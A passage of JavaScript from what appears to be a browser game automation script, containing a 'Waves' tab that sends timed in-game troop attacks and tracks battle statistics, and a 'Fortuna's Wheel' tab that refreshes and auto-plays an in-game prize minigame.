				var now = serverTime();
				Data.stats.waves = {
					start_at: now,
					run_time: 0,
					total_attacks: 0,
					loss: {},
					items: {},
					resources: {}
				};
				t.showStats();
			},
			showStats: function() {
				var t = Tabs.Waves;
				var div = document.getElementById(UID['tabWaveStats_Status']);
				if (div == null) return;

				var run_time = Data.stats.waves.run_time;
				if (Data.options.waves.enabled)
					run_time += (serverTime() - t.running.start_at);

				var trueRunTime = (run_time > 0) ? (run_time / 3600) : 1;

				var m = '<table class=' + UID['table'] + '>' + '	<tr>' + '		<td class=right>' + translate('Start Date') + ': </td>' + '		<td colspan=>' + new Date(Data.stats.waves.start_at * 1000).myString() + '</td>' + '	</tr><tr>' + '		<td class=right>' + translate('Run Time') + ': </td>' + '		<td>' + timestr(run_time, true) + '</td>' + '	</tr><tr>' + '		<td class=right>' + translate('Attacks') + ': </td>' + '		<td>' + Data.stats.waves.total_attacks + '</td>' + '	<tr valign=top align=right>' + '		<td class=right>' + translate('Troops lost') + ': </td>';
				var first = true;
				for (var name in Data.stats.waves.loss) {
					var perHour = Math.round(Data.stats.waves.loss[name] / trueRunTime);
					if (first) first = false;
					else m += '	<tr align=right><td></td>';
					m += '		<td>' + translate(name) + ':</td>' + '		<td>' + numf(Data.stats.waves.loss[name], ' ') + '</td>' + '		<td>(' + numf(perHour, ' ') + ' /' + translate('h') + ')</td>' + '	</tr>';
				}
				m += '</tr><tr valign=top align=right>' + '		<td class=right>' + translate('Resources') + ': </td>';
				var first = true;
				for (var name in Data.stats.waves.resources) {
					var perHour = Math.round(Data.stats.waves.resources[name] / trueRunTime);
					if (first) first = false;
					else m += '	<tr align=right><td></td>';
					m += '			<td>' + translate(name) + ':</td>' + '			<td>' + numf(Data.stats.waves.resources[name], ' ') + '</td>' + '			<td>(' + numf(perHour, ' ') + ' /' + translate('h') + ')</td>' + '		</tr>';
				}
				m += '<tr valign=top align=right>' + '		<td class=right>' + translate('Items') + ': </td>';
				var items = [];
				for (var name in Data.stats.waves.items)
					items.push({
						desc: translate(name),
						qty: Data.stats.waves.items[name]
					});
				if (items.length > 0) {
					items.sort(function(a, b) {
						a = a.desc.toLowerCase();
						b = b.desc.toLowerCase();
						if (a > b) return 1;
						if (a < b) return -1;
						return 0;
					});
					for (var i = 0; i < items.length; i++) {
						var perHour = Math.round(items[i].qty / trueRunTime);
						if (i > 0) m += '<tr align=right><td></td>';
						m += '		<td>' + items[i].desc + ':</td>' + '		<td>' + numf(items[i].qty, ' ') + '</td>' + '		<td>(' + numf(perHour, ' ') + ' /' + translate('h') + ')</td>' + '	</tr>';
					}
				}
				m += '</table>';
				div.innerHTML = m;
			},
			trackStats: function(marchId, rpt_wa) {
				var t = Tabs.Waves;
				if (DEBUG_MARCHES) debugLog('Tabs.Waves.trackStats: ' + marchId);

				if (is_null(Data.stats.waves.total_attacks)) Data.stats.waves.total_attacks = 0;
				if (is_null(Data.stats.total.total_attacks)) Data.stats.total.total_attacks = 0;
				++Data.stats.waves.total_attacks;
				++Data.stats.total.total_attacks;
				var res = rpt_wa.report.spoils.resources;
				for (var p in res) {
					objAddTo(Data.stats.waves.resources, p, toNum(res[p]), false);
					objAddTo(Data.stats.total.resources, p, toNum(res[p]), false);
				}
				var killRes = rpt_wa.report.spoils.kill_items;
				for (var p in killRes) {
					objAddTo(Data.stats.waves.resources, p, toNum(killRes[p]), false);
					objAddTo(Data.stats.total.resources, p, toNum(killRes[p]), false);
				}
				var items = rpt_wa.report.spoils.items;
				for (var i = 0; i < items.length; i++) {
					objAddTo(Data.stats.waves.items, items[i], 1, true);
					objAddTo(Data.stats.total.items, items[i], 1, true);
				}
				for (var p in rpt_wa.report.attacker.units) {
					if (rpt_wa.report.attacker.units[p][0] != rpt_wa.report.attacker.units[p][1]) {
						var nb = toNum(rpt_wa.report.attacker.units[p][0]) - toNum(rpt_wa.report.attacker.units[p][1]);
						objAddTo(Data.stats.waves.loss, p, nb, true);
						objAddTo(Data.stats.total.loss, p, nb, true);
					}
				}
				Data.marches.waves[marchId].has_report = true;
				t.showStats();
			},
			eventCoords: function(event) {
				checkCoords('tabWave', Data.options.waves.target.units, Data.options.waves.target);
			},
			eventTroops: function(event) {
				var t = Tabs.Waves;
				var args = event.target.name.split('_');
				if (args[0] == 'AW') {
					var tt = wave_unit_types[args[1]];
					var tr = Data.options.waves.target.units;
					tr[tt] = event.target.value;
					var tr = Data.options.waves.target.saved_units;
					tr[tt] = event.target.value;
					var time = getMarchTime(Data.options.waves.target.x, Data.options.waves.target.y, Data.options.waves.target.units);
					document.getElementById(UID['tabWave_Distance']).innerHTML = getDistance(Seed.cities[CAPITAL.id].x, Seed.cities[CAPITAL.id].y, Data.options.waves.target.x, Data.options.waves.target.y) + ' (' + timestrShort(time) + ')';
				}
			},

			setWaveEnable: function(onOff) {
				var t = Tabs.Waves;
				var but = document.getElementById(UID['tabWave_OnOff']);
				clearTimeout(t.attackTimer);
				Data.options.waves.enabled = onOff;
				if (onOff) {
					Messages.addBattleReportListener(t.gotBattleReport);
					but.value = translate('Attacking').toUpperCase();
					but.className = UID['btn_on'];
					t.waveAttackTick();
					t.running.start_at = serverTime();
					Data.stats.waves.start_at = serverTime();
				} else {
					Messages.removeReportListener('waves', t.gotBattleReport);
					but.value = translate('Disabled').toUpperCase();
					but.className = UID['btn_off'];
					if (t.running.start_at !== 0) {
						Data.stats.waves.run_time += (serverTime() - t.running.start_at);
					}
				}
			},

			onUnload: function() {
				var t = Tabs.Waves;
				if (Data.options.waves.enabled && t.running.start_at != 0) {
					Data.stats.waves.run_time += (serverTime() - t.running.start_at);
				}
			},

			waveAttackTick: function() {
				var t = Tabs.Waves,
					targetMsg, retryDelay, availableGeneral, waveUnits, marchCount = 0;
				clearTimeout(t.attackTimer);

				if (!Data.options.waves.enabled) return;

				targetMsg = Data.options.waves.target.type + translate(' at ') + Data.options.waves.target.x + '/' + Data.options.waves.target.y;
				var actionMsg = translate('Wave attack to ') + targetMsg;
				var feedback_element = UID['tabWave_Feedback'];

				var cur_march = getMinDelay();
				marchCount = cur_march.count;
				retryDelay = cur_march.delay;
				availableGeneral = getAvailableGeneral();
				var chk = checkMarch(actionMsg,
					feedback_element,
					marchCount,
					retryDelay,
					Marches.count.waves,
					Data.options.waves.max_marches,
					availableGeneral, true);
				if (chk != 0) {
					t.attackTimer = setTimeout(t.waveAttackTick, retryDelay * 1000);
					return;
				}
				Data.options.waves.target.units = cloneProps(Data.options.waves.target.saved_units);
				waveUnits = checkTroops(CAPITAL.id, Data.options.waves.target.units);
				if (waveUnits !== null) {
					raiseMessage(actionMsg, feedback_element, waveUnits, true, retryDelay);
					t.attackTimer = setTimeout(t.waveAttackTick, retryDelay * 1000);
					return;
				}

				if (Data.options.waves.target.include_great_dragon) {
					var greatDrag = null;
					if ((greatDrag = getAvailableDragon(true, Data.options.waves.target.dragons)) == null) {
						if (!Data.options.waves.send_without_dragon) {
							raiseMessage(actionMsg, feedback_element, 5, false, retryDelay);
							t.attackTimer = setTimeout(t.waveAttackTick, retryDelay * 1000);
							return;
						}
					} else {
						Data.options.waves.target.units[greatDrag] = 1;
					}
				}

				verboseLog(actionMsg + ' ' + translate('attempted'));

				new MyAjax.marchSend(Seed.cities[CAPITAL.id].id, Data.options.waves.target.x, Data.options.waves.target.y, availableGeneral.id, Data.options.waves.target.units, 'waves', function(rslt) {
					var t = Tabs.Waves,
						waveDelay, retryDelay;
					if (rslt.ok && rslt.dat.result.success) {
						t.attackErrors = 0;
						var delay_min = toNum(Data.options.waves.delay_min, nvl(MIN_DELAY_BETWEEN_WAVE, 10));
						var delay_max = toNum(Data.options.waves.delay_max, toNum(delay_min * 1.5));
						waveDelay = Math.floor(Math.random() * (delay_max - delay_min + 1) + delay_min);
						verboseLog(actionMsg + ' ' + translate('Successfully'));
						actionLog(actionMsg);
						dispFeedback(feedback_element, actionMsg);
						t.attackTimer = setTimeout(t.waveAttackTick, waveDelay * 1000);
					} else {
						t.attackErrors++
						retryDelay = 30 * (t.attackErrors * t.attackErrors);
						verboseLog(actionMsg + ' ' + translate('failed and returned error') + ': ' + rslt.errmsg + ' - ' + translate('Retry in') + ' ' + retryDelay + ' ' + translate('seconds'));
						actionLog(actionMsg + ' ' + translate('failed'));
						if (rslt.status === 429) {
							retryDelay = E429_DELAY;
							raiseMessage(actionMsg + ' ' + translate('failed') + ' - <b>API</b> ', feedback_element, 6, false, retryDelay);
						} else if (rslt.status === 509) {
							retryDelay = 600;
							raiseMessage(actionMsg + ' ' + translate('failed') + ' - ', feedback_element, 6, false, retryDelay);
						} else
							dispFeedback(feedback_element, actionMsg + ' ' + translate('failed'));
						t.attackTimer = setTimeout(t.waveAttackTick, retryDelay * 1000);
					}
				});
			},
			marchTick: function() {
				var t = Tabs.Waves;
				clearTimeout(t.marchTimer);
				Marches.updateTable(document.getElementById(UID['tabWave_Marches']), 'waves');
				t.marchTimer = setTimeout(t.marchTick, 1000);
			},
			show: function() {
				var t = Tabs.Waves;
				t.marchTick();
				switch (t.contentType || 0) {
					case 0:
						t.tabWaveAttack();
						break;
					case 1:
						t.tabWaveHistory();
						break;
					case 2:
						t.tabWaveStats();
						break;
					case 3:
						t.tabWaveLastReport();
						break;
				}
			},
			hide: function() {
				var t = Tabs.Waves;
				clearTimeout(t.marchTimer);
				Data.options.waves.current_tab = t.contentType;
			}
		};

		/******************************** Fortuna's Wheel Tab ************************/
		Tabs.Wheel = {
			tabOrder: WHEEL_TAB_ORDER,
			tabLabel: 'Fortuna',
			tabDisabled: !WHEEL_TAB_ENABLE,
			container: null,
			contentType: 0,
			lastSubTab: 'tabWheelPlay',
			minigame_id: 0,
			last_results: [],
			last_type: 'regular',
			played: 0,
			timer: 0,
			autoTimer: 0,
			refreshTimer: 0,
			delay: 0,
			is_running: false,

			init: function(div) {
				var t = Tabs.Wheel;
				t.container = div;
				Data.setDefaultValues('wheel');
				var m = '<div class=' + UID['title'] + '>' + translate('Fortuna\'s chance') + '</div>' + '<ul class=tabs>' + '	<li class="tab first"><a id=' + setUID('tabWheelPlay') + '>' + translate('Play') + '</a></li>' + '	<li class=tab><a id=' + setUID('tabWheelStats') + '>' + translate('Stats') + '</a></li>' + '</ul>' + '<div id=' + setUID('tabWheel_Content') + ' style="padding-top:0px; height:655px; max-height:655px; overflow-y:auto; width:540px; max-width:540px; overflow-x:auto"></div>';
				t.container.innerHTML = m;
				document.getElementById(UID['tabWheelPlay']).addEventListener('click', t.tabWheelPlay, false);
				document.getElementById(UID['tabWheelStats']).addEventListener('click', t.tabWheelStats, false);
				window.addEventListener('unload', t.onUnload, false);
				t.contentType = toNum(Data.options.wheel.current_tab);
				t.played = 0;
				t.show();
			},
			show: function() {
				var t = Tabs.Wheel;
				switch (toNum(t.contentType)) {
					case 0:
						t.tabWheelPlay();
						break;
					case 1:
						t.tabWheelStats();
						break;
				}
			},
			onUnload: function() {
				var t = Tabs.Wheel;
				logit('===============  Tabs.Wheel.onUnload');
				Data.options.wheel.current_tab = t.contentType;
			},

			/** PLAY SUB-TAB ***/
			tabWheelPlay: function() {
				var t = Tabs.Wheel;
				document.getElementById(UID[t.lastSubTab]).className = '';
				document.getElementById(UID[t.lastSubTab]).style.zIndex = 0;
				document.getElementById(UID['tabWheelPlay']).className = 'selected';
				document.getElementById(UID['tabWheelPlay']).style.zIndex = 1;
				t.lastSubTab = 'tabWheelPlay';
				t.contentType = 0;
				setUID('tabWheel_Type');
				var m = '<div id=' + setUID('tabWheel_grid') + ' style="height:640px">' + '<div class=' + UID['title'] + '>' + translate('Play') + ' ' + translate('Fortuna\'s chance') + '</div>' + '<div class=' + UID['content'] + '>' + '	<table class=' + UID['table'] + ' style="margin-top:3px" width=100%>' + '		<tr valign=top align=left>' + '			<td width=5%><input type=radio name=' + UID['tabWheel_Type'] + ' value="regular" /></td>' + '			<td width=35% align=left><label>' + translate('FortunasTicket') + '<span id=' + setUID('tabWheel_nbTickets') + '></span></label></td>' + '			<td width=60% align=center><label><input id=' + setUID('tabWheel_Play') + ' type=button value="' + translate('Play') + '" /></label></td>' + '		</tr>' + '		<tr valign=top align=left>' + '			<td width=5%><input type=radio name=' + UID['tabWheel_Type'] + ' value="golden" /></td>' + '			<td align=left width=35%><label>' + translate('FortunasGoldenTicket') + '<span id=' + setUID('tabWheel_nbGold') + '></span></label></td>' + '			<td width=60% align=center><label><input id=' + setUID('tabWheel_Choose') + ' type=button value="' + translate('Choose') + '" /></label></td>' + '		</tr>' + '	</table><br>' + '	<center><div id=' + setUID('tabWheel_Grid') + ' style="padding-top:0px; height:311px; max-height:311px; overflow-y:auto; width:479px; max-width:479px"></div></center>' + '	<br>' + '	<table class=' + UID['table'] + ' style="margin-top:3px" width=100%>' + '		<tr valign=top align=center>' + '			<td width=30%><label><input id=' + setUID('tabWheel_Refresh') + ' type=button value="' + translate('Refresh') + '" /></label></td>' + '			<td width=40% class=jewel><div id=' + setUID('tabWheel_wait') + '></div></td>' + '			<td width=30%><label><input id=' + setUID('tabWheel_Stop') + ' type=button value="' + translate('Stop') + '" /></label></td>' + '		</tr>' + '	</table><br>' + '	<div class=' + UID['title'] + ' style="margin-bottom:10px">' + translate('Config') + '</div>' + '	<table class=' + UID['table'] + ' width=100% style="color:#000;">' + '		<tr valign=top>' + '			<td><label><input id=' + setUID('tabWheel_AutoRefresh') + ' ' + (Data.options.wheel.auto_refresh ? 'CHECKED ' : '') + ' type=checkbox /></label></td>' + '			<td><label>' + translate('Auto-refresh wheel prize list every') + '&nbsp</label>' + '				<input id=' + setUID('tabWheel_chkTime') + ' size=1 maxlength=2 type=text value="' + Data.options.wheel.delay + '" />&nbsp' + '				<select id=' + setUID('tabWheel_chkUnit') + ' size=1>' + '					<option value=1 ' + (Data.options.wheel.unit == 1 ? 'selected' : '') + '>' + translate('Seconds') + '</option>' + '					<option value=60 ' + (Data.options.wheel.unit == 60 ? 'selected' : '') + '>' + translate('minutes') + '</option>' + '					<option value=3600 ' + (Data.options.wheel.unit == 3600 ? 'selected' : '') + '>' + translate('hours') + '</option>' + '				</select>' + '			</td>' + '		</tr><tr valign=top>' + '			<td  style="font-size:2px">&nbsp</td>' + '		</tr><tr valign=top>' + '			<td></td><td><label>' + translate('Stop the wheel when found the following items') + '&nbsp' + '		</tr><tr valign=top>' + '			<td colspan=2>' + '				<table class=' + UID['table'] + ' width=100% style="color:#000;"><tr valign=top>' + '					<td width=50%><table width=100%><tr valign=top><td><div id=' + setUID('tabWheel_item1') + '></div></td></tr></table></td>' + '					<td width=50%><table width=100%><tr valign=top><td><div id=' + setUID('tabWheel_item2') + '></div></td></tr></table></td>' + '				</tr></table>' + '			</td>' + '		</tr><tr valign=top>' + '			<td width=5%></td><td><label>' + translate('And at least') + '&nbsp' + '				<select id=' + setUID('tabWheel_number') + ' size=1>' + '					<option value=1 ' + (Data.options.wheel.number == 1 ? 'selected' : '') + '>1</option>' + '					<option value=2 ' + (Data.options.wheel.number == 2 ? 'selected' : '') + '>2</option>' + '					<option value=3 ' + (Data.options.wheel.number == 3 ? 'selected' : '') + '>3</option>' + '					<option value=4 ' + (Data.options.wheel.number == 4 ? 'selected' : '') + '>4</option>' + '					<option value=5 ' + (Data.options.wheel.number == 5 ? 'selected' : '') + '>5</option>' + '					<option value=6 ' + (Data.options.wheel.number == 6 ? 'selected' : '') + '>6</option>' + '				</select>&nbsp' + translate('of the following items') + '</label></td>' + '		</tr><tr valign=top>' + '		</tr>' + '	</table>' + '	<table class=' + UID['table'] + ' width=100% style="color:#000;">' + '		<tr valign=top>' + '			<td width=50%><table width=100%>' + '				<tr valign=top><td><div id=' + setUID('tabWheel_item3') + '></div></td></tr>' + '				<tr valign=top><td><div id=' + setUID('tabWheel_item4') + '></div></td></tr>' + '				<tr valign=top><td><div id=' + setUID('tabWheel_item5') + '></div></td></tr>' + '			</table></td>' + '			<td width=50%><table width=100%>' + '				<tr valign=top><td><div id=' + setUID('tabWheel_item6') + '></div></td></tr>' + '				<tr valign=top><td><div id=' + setUID('tabWheel_item7') + '></div></td></tr>' + '				<tr valign=top><td><div id=' + setUID('tabWheel_item8') + '></div></td></tr>' + '			</table>' + '			</td>' + '		</tr>' + '	</table>' + '	<table class=' + UID['table'] + ' width=100% style="color:#000;">' + '		<tr valign=top>' + '			<td><label><input id=' + setUID('tabWheel_AutoPlay') + ' ' + (Data.options.wheel.auto_play ? 'CHECKED ' : '') + ' type=checkbox /></label></td>' + '			<td><label>' + translate('Auto-play : Maximum tickets to play ') + '&nbsp</label>' + '				<input id=' + setUID('tabWheel_AutoMax') + ' size=1 maxlength=4 type=text value="' + Data.options.wheel.max_auto + '" />&nbsp (0 = ' + translate('no max') + ')' + '			</td>' + '			<td width=20% align=right class=jewel><div id=' + setUID('tabWheel_played') + '></div></td>' + '		</tr>' + '	</table>' + '</div>';

				document.getElementById(UID['tabWheel_Content']).innerHTML = (m);

				document.getElementById(UID['tabWheel_Play']).addEventListener('click', onPlay, false);
				document.getElementById(UID['tabWheel_Refresh']).addEventListener('click', getPrizeList, false);
				document.getElementById(UID['tabWheel_chkTime']).addEventListener('change', delayChanged, false);
				document.getElementById(UID['tabWheel_chkUnit']).addEventListener('change', delayChanged, false);
				document.getElementById(UID['tabWheel_number']).addEventListener('change', numberChanged, false);
				document.getElementById(UID['tabWheel_AutoMax']).addEventListener('change', maxChanged, false);
				document.getElementById(UID['tabWheel_Choose']).addEventListener('click', onChoose, false);
				document.getElementById(UID['tabWheel_Stop']).addEventListener('click', onStop, false);
				document.getElementById(UID['tabWheel_item1']).addEventListener('change', onChangeMandatory, false);
				document.getElementById(UID['tabWheel_item2']).addEventListener('change', onChangeMandatory, false);
				document.getElementById(UID['tabWheel_item3']).addEventListener('change', onChangeOptional, false);
				document.getElementById(UID['tabWheel_item4']).addEventListener('change', onChangeOptional, false);
				document.getElementById(UID['tabWheel_item5']).addEventListener('change', onChangeOptional, false);
				document.getElementById(UID['tabWheel_item6']).addEventListener('change', onChangeOptional, false);
				document.getElementById(UID['tabWheel_item7']).addEventListener('change', onChangeOptional, false);
				document.getElementById(UID['tabWheel_item8']).addEventListener('change', onChangeOptional, false);
				document.getElementById(UID['tabWheel_AutoRefresh']).addEventListener('change', function(event) {
					Data.options.wheel.auto_refresh = event.target.checked;
					if (t.timer) {
						clearTimeout(t.timer);
					}
					checkRefreshTimer();
				}, false);
				document.getElementById(UID['tabWheel_AutoPlay']).addEventListener('change', function(event) {
					Data.options.wheel.auto_play = event.target.checked;
					if (t.timer) {
						clearTimeout(t.timer);
					}
				}, false);

				var r = document.getElementsByName(UID['tabWheel_Type']);
				for (i = 0; i < r.length; i++) {
					r[i].addEventListener('change', onChangeType, false);
					r[i].checked = (r[i].value == Data.options.wheel.type);
				}
				checkRefreshTimer();
				display_grid();
				for (var i = 0; i < 8; i++) displayItemList(i);

				function checkRefreshTimer() {
					var t = Tabs.Wheel;
					if (t.refreshTimer) clearInterval(t.refreshTimer);
					if (Data.options.wheel.auto_refresh)
						t.refreshTimer = setInterval(refreshTick, 1000);
				}

				function delayChanged(event) {
					var t = Tabs.Wheel;
					var etime = document.getElementById(UID['tabWheel_chkTime']);
					var eunit = document.getElementById(UID['tabWheel_chkUnit']);
					var time = toNum(etime.value);
					var unit = toNum(eunit.value);
					etime.value = time;
					eunit.value = unit;
					if ((time * unit) < 3) { /* Do not allow delay lower than 3secs */
						etime.style.backgroundColor = 'red';
						eunit.style.backgroundColor = 'red';
						return;
					}
					etime.style.backgroundColor = '';
					eunit.style.backgroundColor = '';
					Data.options.wheel.delay = time;
					Data.options.wheel.unit = unit;
				}

				function display_grid() {
					var t = Tabs.Wheel,
						i = 0,
						regular = ((Data.options.wheel.type == 'regular') ? 0 : 1);
					if (document.getElementById(UID['tabWheel_nbTickets'])) document.getElementById(UID['tabWheel_nbTickets']).innerHTML = ' (' + translate('You have') + ' <b>' + getTicketNb() + '</b>)'
					if (document.getElementById(UID['tabWheel_nbGold'])) document.getElementById(UID['tabWheel_nbGold']).innerHTML = ' (' + translate('You have') + ' <b>' + getGoldenNb() + '</b>)'
					setButtonStyle(document.getElementById(UID['tabWheel_Play']), false);
					setButtonStyle(document.getElementById(UID['tabWheel_Choose']), false);
					setButtonStyle(document.getElementById(UID['tabWheel_Refresh']), false);
					setButtonStyle(document.getElementById(UID['tabWheel_Stop']), false, 'btn_off');
					var m = '<table class=' + UID['table_wrap'] + ' style="border:1px solid #898989; background:none" width="479px" height=100% style="white-space:wrap">';
					if ((getTicketNb() == 0 && regular == 0) || (getGoldenNb() == 0 && regular == 1)) {
						m += '	<tr valign=center align=center style="height:308px">' + '	<td width=100%><span class=' + UID['red'] + '><b>' + translate('You have') + ' 0 ' + translate((regular == 0) ? 'FortunasTicket' : 'FortunasGoldenTicket') + '</b></span></td>' + '</tr>';
					} else {
						for (var y = 0; y < 4; y++) {
							m += '	<tr valign=center align=center style="height:76px">';
							for (var x = 0; x < 3; x++) {
								m += '	<td  id=' + setUID('tabWheel_box_' + i) + ' width="158px" style="border:1px solid #898989"><div id=' + setUID('tabWheel_square_' + i) + '></div></td>';
								i++;
							}
							m += '</tr>';
						}
					}
					m += '</table>';
					if (document.getElementById(UID['tabWheel_Grid'])) document.getElementById(UID['tabWheel_Grid']).innerHTML = m;
					if (document.getElementById(UID['tabWheel_played'])) document.getElementById(UID['tabWheel_played']).innerHTML = '(' + translate('played this session') + ' <b>' + t.played + '</b>)';
					if ((getTicketNb() > 0 && regular == 0) || (getGoldenNb() > 0 && regular == 1)) {
						if (t.minigame_id && t.minigame_id != 0 && t.last_type == Data.options.wheel.type) {
							for (var r = 0; r < t.last_results.length; r++) {
								if (document.getElementById(UID['tabWheel_square_' + r]))
									document.getElementById(UID['tabWheel_square_' + r]).innerHTML = translate(t.last_results[r].type);
								if (document.getElementById(UID['tabWheel_box_' + r]))
									document.getElementById(UID['tabWheel_box_' + r]).style.backgroundColor = 'rgb(245,245,228)';
								var found = false;
								for (var s = 0; s < Data.options.wheel.mandatory[regular].length && !found; s++) {
									if (Data.options.wheel.mandatory[regular][s] == t.last_results[r].type) {
										found = true;
										if (document.getElementById(UID['tabWheel_box_' + r]))
											document.getElementById(UID['tabWheel_box_' + r]).style.backgroundColor = 'rgb(255,190,165)';
									}
								}
								var found = false;
								for (var s = 0; s < Data.options.wheel.optional[regular].length && !found; s++) {
									if (Data.options.wheel.optional[regular][s] == t.last_results[r].type) {
										found = true;
										if (document.getElementById(UID['tabWheel_box_' + r]))
											document.getElementById(UID['tabWheel_box_' + r]).style.backgroundColor = 'rgb(255,220,205)';
									}
								}
							}
							setButtonStyle(document.getElementById(UID['tabWheel_Choose']), true, 'btn_green');
							if ((Data.options.wheel.auto_play || (t.played >= Data.options.wheel.max_auto && Data.options.wheel.max_auto > 0)) && !t.is_running) {
								setButtonStyle(document.getElementById(UID['tabWheel_Play']), true);
							} else if (Data.options.wheel.auto_refresh) {
								setButtonStyle(document.getElementById(UID['tabWheel_Refresh']), true);
								if (t.is_running) {
									setButtonStyle(document.getElementById(UID['tabWheel_Stop']), true, 'btn_off');
									setButtonStyle(document.getElementById(UID['tabWheel_Refresh']), false);
								}
							}
						} else if (!Data.options.wheel.auto_play || (t.played >= Data.options.wheel.max_auto && Data.options.wheel.max_auto > 0) || !t.minigame_id || t.minigame_id == 0)
							setButtonStyle(document.getElementById(UID['tabWheel_Play']), true);
					} else setButtonStyle(document.getElementById(UID['tabWheel_Play']), false);
				}

				function displayItemList(num) {
					var t = Tabs.Wheel;
					if (num < 2)
						var source = Data.options.wheel.mandatory[((Data.options.wheel.type == 'regular') ? 0 : 1)][num];
					else
						var source = Data.options.wheel.optional[((Data.options.wheel.type == 'regular') ? 0 : 1)][num];
					var list = getItemList();
					var m = '<span class=left>- &nbsp</span><select id="' + setUID('tabWheel_sel' + num) + '" ref=' + num + '>' + '	<option value="null">&nbsp</option>';
					for (var i = 0; i < list.length; i++) {
						var selected = '',
							desc = '';
						if (list[i].type == source) selected = 'selected';
						if (list[i].desc.length > 38) desc = list[i].desc.substring(0, 35) + '...';
						else desc = list[i].desc;
						m += '<option value="' + list[i].type + '" ' + selected + '>' + desc + '</option>';
					}
					m += '</select>';
					var id = 'tabWheel_item' + (num + 1);
					if (document.getElementById(UID[id])) document.getElementById(UID[id]).innerHTML = m;
				}

				function gatherObjstat(item, played, earned) {
					var regular = ((Data.options.wheel.type == 'regular') ? 0 : 1);
					if (!Data.stats.wheel.items[regular][item]) Data.stats.wheel.items[regular][item] = [0, 0, 0]; /* [displayed, played, won] */
					if (!played) {
						Data.stats.wheel.items[regular][item][0]++;
						Data.stats.wheel.total_grids[regular]++;
					} else if (!earned) {
						Data.stats.wheel.items[regular][item][1]++;
						Data.stats.wheel.total_played[regular]++;
					} else {
						Data.stats.wheel.items[regular][item][2]++;
						Data.stats.wheel.last_won[regular].push({
							item: item,
							at: serverTime()
						});
					}
				}

				function getItemList(limit) {
					var t = Tabs.Wheel;
					var items = [];
					for (var type in Seed.items) {
						for (item = 0; item < Seed.items[type].length; item++) {
							var found = false;
							for (var x = 0; x < items.length && !found; x++)
								if (items[x].type == Seed.items[type][item].type) found = true;
							if (!found) items.push({
								desc: translate(Seed.items[type][item].type, true),
								type: Seed.items[type][item].type
							});
						}
					}
					items.sort(function(a, b) {
						a = a.desc.toLowerCase();
						b = b.desc.toLowerCase();
						if (a > b) return 1;
						if (a < b) return -1;
						return 0;
					});
					return items;
				}

				function getGoldenNb() {
					return (toNum(Seed.player.items['FortunasGoldenTicket'] || 0) + (Seed.player.tickets.gold_club ? 1 : 0));
				}

				function getTicketNb() {
					return (toNum(Seed.player.items['FortunasTicket'] || 0) + (Seed.player.tickets.fortunas_chance ? 1 : 0));
				}

				function getPrizeList() {
					if (t.timer) clearTimeout(t.timer);
					if (t.autoTimer) clearTimeout(t.autoTimer);
					t.is_running = true;
					setButtonStyle(document.getElementById(UID['tabWheel_Choose']), false);
					setButtonStyle(document.getElementById(UID['tabWheel_Refresh']), false);
					setButtonStyle(document.getElementById(UID['tabWheel_Stop']), false, 'btn_off');
					MyAjax.getMinigame((Data.options.wheel.type || 'regular'), function(results) {
						var t = Tabs.Wheel,
							regular = ((Data.options.wheel.type == 'regular') ? 0 : 1);
						if (results && results.ok) {
							t.last_results = cloneProps(results.list);
							t.last_type = Data.options.wheel.type;
							var searched = 0,
								have = 0,
								count = 0;
							for (var i = 0; i < Data.options.wheel.mandatory[regular].length && !found; i++) {
								var mandatory_item = Data.options.wheel.mandatory[regular][i];
								if (mandatory_item != null && mandatory_item != undefined && mandatory_item != 'null') searched++;
							}
							for (var x = 0; x < results.list.length; x++) {
								gatherObjstat(results.list[x].type);
								if (document.getElementById(UID['tabWheel_square_' + x]))
									document.getElementById(UID['tabWheel_square_' + x]).innerHTML = translate(results.list[x].type);
								if (document.getElementById(UID['tabWheel_box_' + x]))
									document.getElementById(UID['tabWheel_box_' + x]).style.backgroundColor = 'rgb(245,245,228)';
								var found = false;
								for (var i = 0; i < Data.options.wheel.mandatory[regular].length && !found; i++) {
									if (Data.options.wheel.mandatory[regular][i] == results.list[x].type) {
										have++;
										found = true;
										if (document.getElementById(UID['tabWheel_box_' + x]))
											document.getElementById(UID['tabWheel_box_' + x]).style.backgroundColor = 'rgb(255,190,165)';
									}
								}
								var found = false;
								for (var i = 0; i < Data.options.wheel.optional[regular].length && !found; i++) {
									if (Data.options.wheel.optional[regular][i] == results.list[x].type) {
										count++;
										found = true;
										if (document.getElementById(UID['tabWheel_box_' + x]))
											document.getElementById(UID['tabWheel_box_' + x]).style.backgroundColor = 'rgb(255,220,205)';
									}
								}
							}
							t.minigame_id = results.id;
							Seed.player.tickets.fortunas_chance = results.ticket;
							Seed.player.tickets.gold_club = results.golden;
							if (toNum(t.minigame_id) > 0) setButtonStyle(document.getElementById(UID['tabWheel_Choose']), true, 'btn_green');
							if (Data.options.wheel.auto_refresh && (have < searched || count < Data.options.wheel.number)) {
								setButtonStyle(document.getElementById(UID['tabWheel_Stop']), true, 'btn_off');
								t.delay = Data.options.wheel.delay * Data.options.wheel.unit;
								t.timer = setTimeout(getPrizeList, (Data.options.wheel.delay * Data.options.wheel.unit) * 1000 + Math.randRange(10, 500));
							} else {
								if (Data.options.wheel.auto_play && (t.played < Data.options.wheel.max_auto || Data.options.wheel.max_auto == 0)) {
									setButtonStyle(document.getElementById(UID['tabWheel_Stop']), true, 'btn_off');
									t.autoTimer = setTimeout(onAutoChoose, (Data.options.wheel.delay * Data.options.wheel.unit) * 1000 + Math.randRange(10, 500));
								} else
									SoundPlayer.PlaySound('fortuna');
								setButtonStyle(document.getElementById(UID['tabWheel_Refresh']), true);
							}
						}
					});
				}

				function maxChanged(event) {
					var t = Tabs.Wheel;
					var emax = document.getElementById(UID['tabWheel_AutoMax']);
					var max = toNum(emax.value);
					emax.value = max;
					if (max < 0) {
						emax.style.backgroundColor = 'red';
						return;
					}
					emax.style.backgroundColor = '';
					Data.options.wheel.max_auto = max;
				}

				function numberChanged(event) {
					var t = Tabs.Wheel;
					var el = document.getElementById(UID['tabWheel_number']);
					var num = toNum(el.value);
					el.value = num;
					Data.options.wheel.number = num;
				}

				function onChangeMandatory(event) {
					var t = Tabs.Wheel;
					var regular = ((Data.options.wheel.type == 'regular') ? 0 : 1);
					var num = event.target.getAttribute('ref');
					var type = event.target.value;
					Data.options.wheel.mandatory[regular][num] = type;
					display_grid();
				}

				function onChangeOptional(event) {
					var t = Tabs.Wheel;
					var regular = ((Data.options.wheel.type == 'regular') ? 0 : 1);
					var num = event.target.getAttribute('ref');
					var type = event.target.value;
					Data.options.wheel.optional[regular][num] = type;
					display_grid();
				}

				function onChangeType(event) {
					var t = Tabs.Wheel;
					Data.options.wheel.type = event.target.value;
